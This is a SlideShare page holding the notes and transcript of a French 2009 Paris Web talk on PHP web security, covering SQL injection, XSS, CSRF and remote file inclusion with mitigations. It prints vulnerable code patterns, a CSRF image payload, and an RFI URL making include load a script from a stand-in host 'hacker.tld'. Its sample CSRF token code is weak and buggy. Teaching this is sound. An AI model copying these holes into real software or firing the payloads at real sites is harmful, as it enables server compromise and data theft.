Sécurité des applications web

Loading...

Flash Player 9 (or above) is needed to view presentations.
We have detected that you do not have it on your computer. To install it, go here.

0 comments

Post a comment

    Post a comment
    Embed Video
    Edit your comment Cancel

    Notes on slide 1

    Questions :
    Qui a des notions de sécurité ?
    Qui développe des sites web côté serveur ?
    Qui gère un ou plusieurs sites internet ?
    Qui a déjà subi des tentatives d’attaques ?
    Qui a déjà eu subi une attaque avec succès ?

    Pouvez-vous nous donner votre définition de la sécurité ?

    The Open Web Application Security Project (OWASP) est une communauté mondiale libre et ouverte dont le but est d’améliorer la sécurité des applications. Leur mission est de rendre la sécurité visible de manière à ce que les developpeurs et les entreprises puissent être mieux informés sur les les vrais risques applicatifs liés à la sécurité.



    Tout le monde peut participer à l’OWASP et tous leurs documents sont publiés sous licence libre.
    L’OWASP est une association à but non lucratif bien que de nombreuses entreprises spécialisées dans la sécurité ou le logiciel (Microsoft, HP, Nokia, etc.) les soutiennent.

    Les analyses montrent que 7% des sites web audités peuvent être compromis automatiquement. Environ 7.7% des applications avaient des vulnérabilités hautement critiques détectées pendant les scans automatisés.
    Si on utilise des méthodes manuelles et des méthodes plus complexes, la probabilité de detecter des vulnérabilités hautement critiques atteint 96.85%.

    1. Exemple de la banque : sas de sécurité, gardes, caméras, coffre, combinaison, etc.
    2. Plugins (slide de chris)
    2. Une banque avec une seule porte sera plus simple à défendre que si elle en possède 10 :)
    3. Si vous laissez la porte d’entrée ouverte, ce n’est pas pour ça que le coffre lui est accessible.
    4. La guichetiere n’a pas accès au coffre
    5. Microsoft qui a longtemps reposé sa sécurité sur la fait que son code était fermé
    6. Pouvoir réagir vite en cas d’attaque. Facile à maintenir et à faire évoluer.
    7. Pas la peine de mettre 70 caméras mais ne pas non plus se contenter d’une seule à l’entrée.
    8. Aussi épais que soit les murs de la banque, ils peuvent être percés.
    9. User is evil ! Votre nouveau guichetier se nomme peut être Jérôme Kerviel :)
    10. On ne va pas exiger un toucher rectal à tous les clients de la banque, mais on peut contrôler leur carte d’identité.

    Alors c’est comment chez vous ? Parce que chez beaucoup c’est ouvert 24h/24 !
    Alors quels sont les points essentiels à privilégier lors de la conception de vos applications web ?

    1ère phase : connaître son ennemi (RATM) : White Box testing ou Black box testing (Input/Output) : reverse engineering
    2eme phase : Choisir la manière dont on va lui «mettre sa carotte»

    SQL Injection : le but est d’envoyer des requêtes SQL non permises par défaut
    XSS : faire exécuter du javascript (ou d’autres langages) au site distant via les URLs ou les formulaires
    CSRF : modification d’URL qui entraine des actions non prévues sur le site (très vicieux)
    Exemple d’attaque DOS : mettre MySQL en sleep :)

    Exemples d’exploitation :
    Un cas très courant est de transformer votre serveur web en relai de spams : votre domaine peut se retrouver blacklister !
    Obtention de données confidentielles : récupérer les numéros de carte bleue de vos clients, les login/passwd + emails (exemple Ev Williams de Twitter - ingénieurie sociale)

    Comment elles se passent et comment s’en protéger ?

    http://www.flickr.com/photos/joriel/3230590513/

    http://www.flickr.com/photos/codearachnid/2557451631/

    Test avec un compte root + moulinettes basées sur des dico

    1 mot qui existe dans le dictionnaire peut-être facilement cassé en quelques minutes

    Solution : Ajouter un délai de 5 secondes entre chaque tentative de connexion et verrouiller le compte après 10 tentatives infructueuses.

    Comment se passe l’attaque : on teste si les formulaires ou les URLs permettent d’injecter du code SQL (un simple string transformé en sleep suffit) et si ça passe on va chercher à effectuer des requêtes pour obtenir des données confidentielles (comme votre login, votre email ou votre numéro de CB si c’est un site de e-commerce.)

    Pour PHP, utilisez mysql_real_escape_string() si vous utilisez MySQL, ou utilisez plutôt PDO qui ne nécessite pas d’échappement.
    ne pas utiliser Les fonctions PHP addslashes() ou les fonctions de remplacement de caractères comme str_replace("’", "’’").

    En 2007 des chercheurs ont estimé que 68% des sites web sont ouverts aux attaques XSS

    Comment se passe l’attaque : On recherche des formulaires ou URLs permettant d’injecter du code HTML et/ou javascript sur le site, qui impacteront les utilisateurs et/ou les administrateurs.

    Usurper l’identité, récupérer des données, obtenir des privilèges, envoyer des codes malicieux, rediriger l’internaute,

    Where worms of old would do childish things like defacing your site, the new ones are silent and invisible, so you only notice them when they screw up (as this one did) or your site gets removed from Google for having spam and malware on it.

    http post : poster quelque chose

    http://www.flickr.com/photos/cayusa/2530412232/

    Exemple concret sur une application

    Un code typique vulnérable:
    include $_REQUEST['filename’];
    Not only does this allow evaluation of remote hostile scripts, it can be used to access local file servers (if PHP is
    hosted upon Windows) due to SMB support in PHP’s file system wrappers.
    D’autre méthodes d’attaques sont possibles via :
    § Le chargement de données hostiles en fichiers de sessions, fichiers de logs ou via des images (type des lo-
    giciels de forums)
    § L’utilisation de flux de compressions ou audios, tels zlib:// ou ogg:// qui n’inspectent par la configuration
    de PHP et permettent alors d’accéder à des ressources distantes même si la variable allow_url_fopen ou
    allow_url_include est désactivée.
    § L’utilisation de wrappers PHP, tels que des entrées php:// et autre pour passer des données en POST plu-
    tôt que via un fichier.
    L’utilisation de wrappers PHP, comme data:;base64,PD9waHAgcGhwaW5mbygpOz8+

    7 Favorites & 1 Event

    Sécurité des applications web - Presentation Transcript

    1. J’ai des trous, des p’tits trous, encore des p’tits trous... Sécurité des applications web en PHP - Sébastien Pauchet et Frank Taillandier - 10 octobre 2009 - Paris Web
    2. Sébastien Pauchet seb@automne.ws - @Automne_WS ‣ Responsable technique chez WS interactive ‣ Architecte logiciel du CMS open-source Automne ‣ Ingénieur PHP5 certifié par Zend ‣ 10 ans de développement Web
    3. Frank Taillandier frank.taillandier@ac-toulouse.fr - @DirtyF ‣ Chef de projet web ‣ «Expert» en accessibilité web ‣ Contributeur au CMS open-source Automne
    4. Sécurité ?
    5. Sécurité : définition « Les principes de la sécurité d'une application sont un ensemble de propriétés souhaitables de comportement, de design et de mise en oeuvre qui contribuent à réduire la probabilité de la réalisation et de l'impact de menaces. Les principes de sécurité sont indépendants du langage et de l'architecture et peuvent être un levier dans la plupart des méthodologies de développement pour concevoir et construire des applications. En considérant ces principes nous pouvons prendre des décisions d'architecture et d'implémentation et identifier les faiblesses possibles des systèmes. » Source : OWASP (Open Web Application Security Project)
    6. 97% des sites web sont hautement vulnérables http://www.webappsec.org/projects/statistics/
    7. Points essentiels 1. Mettre en place une défense en profondeur (sécurité à tous les niveaux) 2. Minimiser la surface d’attaque 3. Minimiser la portée des erreurs 4. Exécuter avec le minimum de droits 5. Eviter de baser uniquement la sécurité sur un système fermé 6. Garder un système de sécurité simple (KISS) 7. Pouvoir détecter les intrusions (garder une verbosité suffisante des fichiers journaux) 8. Ne jamais faire confiance à l’infrastructure 9. Ne pas se fier aux utilisateurs 10. Mettre en place une sécurité par défaut psychologiquement acceptable
    8. Ouvert 24/24
    9. Les 3 phases d’un exploit Détection • Recherche d’informations liées aux applications et au système • Tests automatisés Les attaques les plus critiques • Injection SQL : 8% des sites web vulnérables (Source : stats WASC 2007) • XSS (Cross site scripting) : 31,5% des sites web vulnérables • CSRF (Cross site request forgery) • RFI (Remote file inclusion) Exploitation • Prendre le contrôle de votre infrastructure (accès au serveur) • Obtenir vos données • Modifier vos données • Vous empêcher de communiquer (DOS : denial of service)
    10. Les attaques
    11. Injections SQL
    12. Injection SQL Différents types d’injection : SQL, LDAP, XPath, XSLT, HTML, XML, commandes systèmes et beaucoup d’autres. Définition : Les attaquants dupent l'interpréteur en lui faisant exécuter des commandes non prévues. Conséquences : Permettre de créer, lire, modifier ou effacer les données de l’application.
    13. Injection SQL Exemple Si la donnée provenant d’un utilisateur est envoyée à un interpréteur sans aucune validation ou encodage, l’application est vulnérable : $sql = "SELECT * FROM table WHERE id = '" . $_REQUEST ['id’] . "’";
    14. Injection SQL Solutions • Validation de toutes les données d’entrée. • Evitez les messages d’erreurs détaillés. • Utilisez de préférence des requêtes SQL stockées ou les requêtes paramètrées. • N’utilisez pas les fonctions d’échappements simples.
    15. XSS : cross-site scripting
    16. XSS : cross-site scripting Définition : XSS consiste à injecter du code HTML ou Javascript sur un site. Conséquences : Détourner des sessions utilisateur, défigurer des sites web, insérer du contenu hostile, effectuer des attaques par phishing, et prendre le contrôle du navigateur de l'utilisateur.
    17. XSS : cross-site scripting Par réflexion : une page renverra à l'utilisateur des données fournies directement à celui-ci : echo $_REQUEST ['userinput']; Par stockage : stocke des donées hostiles, et ultérieurement, affiche les données non filtrées à l'utilisateur. Par injection DOM : le code JavaScript et les variables du site sont manipulés plutôt que les éléments HTML.
    18. XSS : cross-site scripting Solutions Validation d’entrée : valider la longueur, le type et la syntaxe de toute entrée saisie avant d'accepter l'affichage ou le stockage des données. Accepter seulement quelque chose de connu (whitelist). Rejeter toute entrée invalide. Encodage des données en sortie : Assurez-vous que toutes les données écrites par l'utilisateur sont convenablement codées par entité avant le rendu. Pas de blacklist pour détecter XSS. La recherche et le remplacement de juste quelques caractères ("<" ">" et d'autres caractères ou expressions semblables telles que "script") est faible. Même un tag non vérifié "<b>" est dangereux dans certains contextes. Plus d’exemples sur http://ha.ckers.org/xss.html
    19. CSRF : cross-site request forgery
    20. CSRF : cross-site request forgery Définition Forcer le navigateur d'une victime ayant une session ouverte sur une application web à effectuer une requête sur cette dernière application. A la différence du XSS qui exploite la confiance d’un utilisateur envers un site, CSRF exploite la confiance d’un utilisateur envers son navigateur. Conséquences Toute application web qui ... • ne dispose pas de vérifications d'autorisation (confirmation, jeton) avant d'effectuer des actions, • autorise des requêtes basées sur une authentification automatique (cookies de session, ‘Se souvenir de moi’), ... est vulnérable.
    21. CSRF : cross-site request forgery • Bob est l'administrateur d'un forum, il y est connecté par un système de sessions. • Alice est un membre, elle veut supprimer un des messages. Elle n'a pas les droits nécessaires avec son compte. Elle va utiliser celui de Bob grâce à une attaque de type CSRF. • Alice arrive à connaître le lien qui permet de supprimer le message. • Alice envoie à Bob un email contenant une pseudo-image à afficher : <img src="http://bob.com/delete.php?post=id" /> • Le navigateur de Bob affiche la pseudo-image ce qui actionne le lien. Ne reconnaissant pas le type d'image associé, le navigateur n'affiche rien. • Bob ne sait pas qu'Alice vient de lui faire supprimer un message.
    22. CSRF : Cross Site Request Forgery Solution • Ne pas utiliser de requête HTTP GET pour effectuer des actions. • Demander des confirmations à l'utilisateur pour les actions critiques. • Utiliser des jetons de validité dans les formulaires : <? $token = sha1(rand(0, 99999)); $token_name = sha1(rand(0, 99999)); $_SESSION['token'] = $token; $_SESSION['token_name'] = token_name(); ?> <form action="/add_post.php" method="post"> <input type="hidden" name="<?php echo $token_name; ?>" value="<?php echo $token; ?>" /> <p>Subject: <input type="text" name="post_subject" /></p> <p>Message: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Add Post" /></p> </form> • Pour les requêtes Ajax : utiliser un header HTTP spécifique à votre application pour signer la requête.
    23. RFI : Remote File Inclusion
    24. RFI : Remote File Inclusion Définition : L'inclusion de fichier distant permet d'exécuter son propre code sur votre serveur en exploitant la possibilité de l'inclure directement dans votre site. Conséquences : Fournir des données d’entrée (comme des URLs) dans des fonctions de gestion de fichiers non vérifiées peut conduire : • à l’exécution de code distant, • à l’installation de rootkit pour compromettre votre système. Cette attaque est particulièrement répandue sur PHP, un soin extrême doit être pris avec tout flux ou toute fonction de fichier afin de s'assurer que l'entrée fournie par l'utilisateur n'influence pas les noms de fichiers.
    25. RFI : Remote File Inclusion Avant PHP 4.2 (ou allow_url_fopen + register_globals activé) : include $_SERVER[‘DOCUMENT_ROOT’].’/fichier.php’; Vulnérable avec l’URL : http://site.tld/file.php?_SERVER[DOCUMENT_ROOT]=http://hacker.tld/ script.txt? Toute version de PHP (quelque soit la configuration) : include $_REQUEST['filename’]; Exemple 1: Utiliser php://input pour lire les données POST <?php // L’inclusion suivante va inclure et exécuter toutes // les données POST include "php://input"; ?> Exemple 2: Utiliser data: pour inclure du code arbitraire <?php // L’inclusion suivante va exécuter le code encodé en // base64 : Ici, un phpinfo() include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+"; ?>
    26. RFI : Remote File Inclusion Solution • Filtrer les entrées utilisateurs (whitelist). • Sécuriser les configurations (désactiver allow_url_fopen, allow_url_include (PHP 5.2), register_globals). • Ne pas inclure de fichiers depuis une variable. • Vérifiez que les fonctions de fichiers et de gestion de flux sont soigneusement contrôlées. Les données utilisateurs ne doivent pas être utilisées par des fonctions prenant un fichier en argument. Exemple, les fonctions suivantes : include() include_once() require() require_once() fopen() imagecreatefromXXX() file() file_get_contents() copy() delete() unlink() upload_tmp_dir() $_FILES move_uploaded_file()
    27. Conclusion Pour les développeurs • Pensez à la sécurité lors de la conception de vos applications ; • Adopter les standards de codage ; • Refactorisez le code existant pour utiliser des conceptions plus sûres ; • Testez votre code pour identifier tout défaut de sécurité ; • Consultez les ouvrages de références. Pour les décideurs • Employez des développeurs qui ont une réelle ou forte expérience dans la sécurité ou formez-les ! • Faites tester les défauts de sécurité tout au long du projet : conception, construction, test et déploiement ; • Allouez des ressources, du budget et du temps dans le plan projet pour remédier aux problèmes de sécurité ; • Considérez l'utilisation d'auditeurs de code tiers.
    28. Ressources • OWASP : Open Web Application Security Project • Les dix vulnérabilités de sécurité applicatives web les plus critiques 2007 • Adam Barth, Collin Jackson, and John C. Mitchell : Robust defenses for CSRF • http://ha.ckerz.org : Web Application Security Lab • http://sectools.org/ : logiciels de test automatisés (Nikto, WebScarab, Acunetix, WebInspect,) • http://www.php.net/manual/security • MISC (Multi-system & Internet Security Cookbook) est un magazine bimestriel français spécialisé dans la sécurité informatique
    29. Crédits photos • Impact : http://www.flickr.com/photos/dirtyf/3369077142/ • Security Guard : http://www.flickr.com/photos/f1rstborn/2440157127/ • Hi Jacking Hot Spot : Luka Skracic • Open : http://www.flickr.com/photos/mag3737/1914076277/ • Pirates : http://www.flickr.com/photos/joriel/3230590513/ • Injections : http://www.flickr.com/photos/limowreck666/223731385/ • Bike air : http://www.flickr.com/photos/dirtyf/3518547212/ • Surf fail : http://www.flickr.com/photos/edwindejongh/369296684/ • Remote : http://www.flickr.com/photos/cayusa/2530412232/
    SlideShare Zeitgeist 2009

    + Frank TaillandierFrank Taillandier Nominate

    custom

    1108 views, 7 favs, 1 embeds more stats

    Atelier technique à Paris Web 2009 sur la sécurit more

    More info about this document

    CC Attribution-NonCommercial-ShareAlike LicenseCC Attribution-NonCommercial-ShareAlike LicenseCC Attribution-NonCommercial-ShareAlike License

    Go to text version

    • Total Views 1108
      • 1080 on SlideShare
      • 28 from embeds
    • Comments 0
    • Favorites 7
    • Downloads 40
    Most viewed embeds
    • 28 views on http://frank.taillandier.free.fr

    more

    All embeds
    • 28 views on http://frank.taillandier.free.fr

    less

    Flagged as inappropriate Flag as inappropriate
    Flag as inappropriate

    Select your reason for flagging this presentation as inappropriate. If needed, use the feedback form to let us know more details.

    Cancel
    File a copyright complaint
    Having problems? Go to our helpdesk?

    Categories

    Groups / Events